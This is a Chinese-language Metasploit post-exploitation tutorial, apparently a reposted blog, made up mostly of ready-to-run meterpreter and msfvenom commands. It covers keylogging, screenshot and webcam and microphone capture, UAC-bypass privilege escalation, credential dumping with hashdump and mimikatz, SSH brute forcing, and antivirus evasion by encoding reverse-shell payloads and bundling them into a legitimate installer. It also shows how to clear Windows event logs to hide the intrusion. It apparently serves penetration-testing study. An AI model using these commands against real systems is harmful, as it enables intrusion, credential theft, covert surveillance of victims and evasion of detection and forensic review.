getwd:靶机当前目录
mkdir:创建目录
rmdir:删除目录
cd:目录移动
lcd:切换攻击机目录
edit:查看编辑文本文件
cat:查看文件
del:删除文件
rm:删除文件
chmod:修改文件权限, 如chmod 777 shell.elf 可读可写可执行的文件(linux)
后渗透之上传下载文件
在攻击机目录下准备好上传文件(更厉害的木马等)
upload shell.exe 将攻击机当前目录下的shell.exe上传到靶机
下载靶机文件到本地
download shell.exe 下载靶机当前目录下shell.exe文件到本地
后渗透之屏幕截图(Windows)
screenshot 输入后回车就会将截图发送给本地
后渗透之键盘记录(Windows)
keycsan_start 开启键盘记录
keyscan_dump 打印键盘记录
keyscan_stop 停止键盘记录
后渗透之创建账号(Windows)
run post/windows/gather/enum_logged_on_users 查看靶机用户
run getdui -u 账户名 -p 密码 创建账户并设置密码
获取system才能创建账户
getuid 查看当前账户
getsystem
bg (backgrounding session)
use exploit/windows/local/ask ask提权方式
show options 查看需要配置的参数
session是需要配置的
set session 6 //填刚刚的bg后台的session
run //运行
然后靶机会有确认的信息,可以在配置的参数位置写入filename为qq.exe那么靶机请求就会显示是qq发出的
后渗透之音频设备录制
record_mic -d 录制时间 -f 路径 -p录音结束之后是否自动播放
record_mic -d 4 录制两秒钟,输入的数字折半
后渗透之提权(Windows)
getuid 查看当前的权限
方法一:getsystem 直接获取,一般不可用
方法二:
background 获取后台
1、search bypassuac 查看提权模块
2、 选择一个适合当前系统的提权模块 我这边使用的是win10系统
那我们使用:use exploit/windows/local/bypassuac_windows_store_reg 尝试提权
这个模块不行就换一个 use exploit/windows/local/bypassuac_sluihijack
或者 use exploit/windows/local/bypassuac_dotnet_profiler
3、配置模块使用参数 终端内输入: show options
4、可以看到需要配置 session 终端内输入:set session {需要提权的session id} background获取到的
5、执行提权 终端内输入:run
6、获取到meterpreter后 我们在终端内 输入getuid 看实际还没有提权成功 需要在还终端内在输入 getsystem 获取权限
7、获取权限完成后 输入getuid 即可看到 已经获取到SYSTEM 最高权限了
后渗透之获取登陆密码(Windows)
1、抓取自动登录账户密码
run windows/gather/credentials/windows_autologin
2、导出SAM数据库本地账户密码文件(注意需要提权到SYSTEM)
run post/windows/gather/smart_hashdump
用户名SIDLM哈希:NTLM哈希1:::mb1000aad3b435b51404eeaad3b435b51404ee32ed87bdb5fdc5e9cba88547376818d4
使用MD5解密网站进行NTLM解密就可以获取登陆密码
3、导出密码哈希
run hashdump
跟第二个差不多一样
4、使用kiwi模块获取
load kiwi 加载模块
creds_all 直接获取密码,限版本
kiwi_cmd sekurlsa::logonpasswords 获取密码
IDkiwi参数和描述1creds_all:列举所有凭据2creds_kerberos:列举所有kerberos凭据3creds_msv:列举所有msv凭据4creds_ssp:列举所有ssp凭据5creds_tspkg:列举所有tspkg凭据6creds_wdigest:列举所有wdigest凭据7dcsync:通过DCSync检索用户帐户信息8dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID9golden_ticket_create:创建黄金票据10kerberos_ticket_list:列举kerberos票据11kerberos_ticket_purge:清除kerberos票据12kerberos_ticket_use:使用kerberos票据13kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令14lsa_dump_sam:dump出lsa的SAM15lsa_dump_secrets:dump出lsa的密文16password_change:修改密码17wifi_list:列出当前用户的wifi配置文件18wifi_list_shared:列出共享wifi配置文件/编码
后渗透之远程控制(Windows)
rdesktop方式
说明:rdesktop是linux下支持Windows远程桌面连接的客户端程序,在linux系统下可通过它远程访问Windows桌面,支持多种版本。rdesktop是sourceforge下支持GPL协议的一个开源项目,采用RDP(Remote Desktop Protocol,远程桌面协议),几乎可以连接windows的所有版本
- 在线安装 rdesktopDebian,Ubuntu,kali下使用以下命令
apt-get install rdesktop
Centos/RedHat可以通过yum命令
yum -y install rdesktop
- 实战rdesktop常用参数id参数描述1-u账户名2-p密码3-a 16指使用16位色显示远程画面4-f全屏模式(用Ctrl+Alt+Enter 组合键退出全屏)5-g设置分辨率 如 : -g 1024x7686rdesktop -h查看rdesktop使用帮助
rdesktop -u 用户名 -p 密码 -f IP
rdesktop -u mb -p 123456 -g 1024x720 192.168.110.24 //-g和-f尽量不共存
如果远程计算机没有启动远程功能我们可以在meterpreter中输入
启动远程桌面协议:run post/windows/manage/enable_rdp
通过vnc远程
run vnc 就可以直接控制了
后渗透之调用摄像头(安卓)
靶机获取到meterpreter后我们可以使用 webcam模块实现调用软,硬件摄像头
webcam模块支持命令
id模块名解释1webcam_list列出靶机中的所有软,硬件摄像头列表,并编号2webcam_snap可调用单个软,硬件摄像头拍照,默认调用第一个摄像头3webcam_stream可调用单个软,硬件摄像头直播,默认调用第一个摄像头
实战:
1、webcam_list 获取摄像头列表
2、webcam_snap 调用单个软,硬件摄像头拍照
id参数描述1-h显示帮助2-i-i 1 “1”代表调用摄像头编号3-p-p /root "root"设置存储路径4-q-q 100 “100” 表示存储图片的质量默认为 505-v-v false -v 2个参数 true 和 false 这个参数表示拍照后自动打开,默认参数为true
3、webcam_stream 调用单个软,硬件摄像头直播
id参数描述1-h显示帮助2-d-d 100 “100”=100秒 设置流持续时间为100秒 默认为18003-i-i 1 “1”代表调用摄像头编号4-q-q 100 “100”指流质量 默认为505-s-s live “live”指流文件路径 默认输出在当前目录(注意目录不存在不会自动创建)7-f-f live “live”指播放文件的存储地址 默认输出在当前目录8-v-v false -v 2个参数 true 和 false 这个参数表示拍照后自动打开,默认参数为true
一般成功不了,可以通过远程控制的方式打开摄像头等
msf进阶
Auxiliary辅助模块
说明:msf辅助模块有上千个,主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等
一、怎么查询 Auxiliary辅助模块
我们可以通过以下命令查询所有 Auxiliary辅助模块
use auxiliary/ 或 show auxiliary
二、 Auxiliary辅助模块分类
admin
/admin/android
/admin/http
/admin/mysql/
/admin/oracle/
/admin/vmware/
/admin/smb/
dos
/dos/android/
/dos/http/
/dos/cisco/
/dos/dns/
/dos/smb/
/dos/windows/ftp/
fuzzers
/fuzzers/http/
/fuzzers/smb/
/gather/
scanner
/scanner/portscan/
/scanner/ftp/
/scanner/http/
/scanner/ssh/
/scanner/smb/
/scanner/vmware/
/scanner/vnc/
/scanner/telnet/
/scanner/msyql/
/scanner/ntp/
/scanner/openvas/
/scanner/sap/
server
/server/
三、通过分类查询指定模块
通过search查询指定模块
search type:auxiliary name:smb
type: 后门跟的的模块类型 name : 后门跟的就是要搜的模块名
四、怎么调用模块
调一个smb模块演示
1 查询与SMB 相关的辅助模块
search type:auxiliary name:smb
2 加载一个ms17_010探测模块
use auxiliary/scanner/smb/smb_ms17_010
3 查看载入模块需要配置的参数
show options
set RHOSTS 192.168.110.110 (设定目标IP)
set THREADS 10 (如果觉得探测过慢可以增加线程,根据电脑实际性能来不要配置太多 个人建议最大10)
run (执行探测)
五、更多
1 whois查看域名或IP信息 //能查到历史的注册人的信息
whois www.baidu.com
whois 192.168.0.1
2 利用辅助模块查找邮箱
use auxiliary/gather/search_email_collector
3 DNS枚举,使用auxiliary模块下的DNS枚举模块:
use auxiliary/gather/enum_dns
4 ssh爆破,使用auxiliary模块下的ssh_login
use /auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.92 (设定目标IP)
set USERNAME root (设定ssh登陆账户)
set PASS_FILE /kevin/ssh_passwd.txt (设定暴力字典)
set THREADS 100 (线程设置为100)
show options (查看更改后的参数)12345
run 开始爆破
编码免杀
- 杀软是如何检测出恶意代码的? 特征码、启发式恶意软件检查和行为。
- 免杀是做什么? 对特征进行混淆,打乱代码,避免杀毒软件查杀
- 免杀的基本方法有哪些? 自编码处理 自捆绑+编码 多重编码 接口下载式 签名伪装式(后两种需要开发能力)
- 针对杀毒软件的基本检测方法,我们可有以下几种方法实现免杀:改变特征码 改变行为 其它
由于msf被各大安全厂商盯的比较紧,所以这些常规的方法免杀效果肯定是比较差的,但有时把一两种常规方法稍微结合一下就能达到比较好的免杀效果
要用到的在线查毒工具virscan提供,测试免杀效果用该网站测试
一、不处理payload直接生成样本进行检测
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.32 LPORT=4456 -f exe -o payload1.exe
进行查毒有41%的杀毒软件报毒了
具体查毒链接:https://r.virscan.org/language/en/report/27ea53bab44e0a023b57c27991f02cf9
二、 MSF自编码处理payload生成样本进行检测
首先我们输入 msfvenom --list encoders 查看可以用编码模块
我们使用 x86/shikata_ga_nai 模块 免杀中使用频率最高的一个编码器
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai HOST=192.168.110.110 LPORT=4456 -f exe -o payload1.exe
进行查毒有37%的杀毒软件报毒了
三、MSF自捆绑处理payload生成样本进行检测
使用msfvenom的-x参数可以指定一个可执行文件,将payload与其捆绑(需要有这样一个安装程序UltraISO.exe在目录中)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -x UltraISO.exe -f exe -o payload2.exe
进行查毒有37%的杀毒软件报毒了
四、MSF自捆绑+编码处理payload生成样本进行检测
结合第二种,第三种。编码方式我们再次生成样本
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -e x86/shikata_ga_nai -x UltraISO.exe -i 10 -f exe -o payload3.exe
进行查毒有31%的杀毒软件报毒了
那我们继续增加编码次数
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -e x86/shikata_ga_nai -x UltraISO.exe -i 20 -f exe -o payload4.exe
进行查毒有27%的杀毒软件报毒了!
五、MSF多重编码payload生成样本进行检测
通过管道,让msfvenom用不同编码器反复编码进行混淆。使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码10次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以payload5.exe为模板的可执行文件。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.110.110 LPORT=4456 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x UltraISO.exe -f exe -o payload5.exe
六、 生成Shellcode使用C语言调用
1、直接在linux中利用msf的meterpreter生成的文件以.c形式文件存储,得到机器码。命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -f c >c0001.c
2、改c文件,并编译,并加壳
随便写一个hello world
main(){printf("hello world\n");}
然后编译 并加壳
vmp加壳工具
清除事件日志
再进入攻击机执行一些操作时,windows 下记录的操作日志可在日志查看器中进行查看,可以通过运行 eventvwr 命令打开;包括了应用程序、系统、安全等模块的日志,为了不让其查到自己或知道自己的操作,则可以使用 meterpreter 的 clearev 命令来清除其日志。未清除日志前可查看系统记录的一些处理信息。
然后在 meterpreter 下执行 clearev 命令,可以看到清除提示,分别清除了应用程序,系统和安全模块的日志记录。
clearev 清理日志
(注意 使用clearev命令时 需要获得靶机的 system 权限)
版权归原作者 菜鸡使劲啄 所有, 如有侵权,请联系我们删除。